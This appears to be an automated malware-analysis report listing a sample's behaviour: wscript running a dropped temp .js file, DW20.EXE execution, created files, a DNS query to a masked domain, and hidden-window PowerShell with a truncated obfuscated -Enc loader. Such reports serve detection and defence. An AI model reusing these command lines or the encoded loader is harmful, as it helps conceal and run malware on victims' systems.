Technical Information
Malicious functions
Creates and executes the following (exploit)
- '<SYSTEM32>\wscript.exe' "%WINDIR%\Temp\WVMfPgfSgVwniTtqtr.js"
Executes the following (exploit)
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 2028
Modifies file system
Creates the following files
- %WINDIR%\temp\wvmfpgfsgvwnittqtr.js
- %TEMP%\1124080.cvr
Network activity
UDP
- DNS ASK za###io72.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...
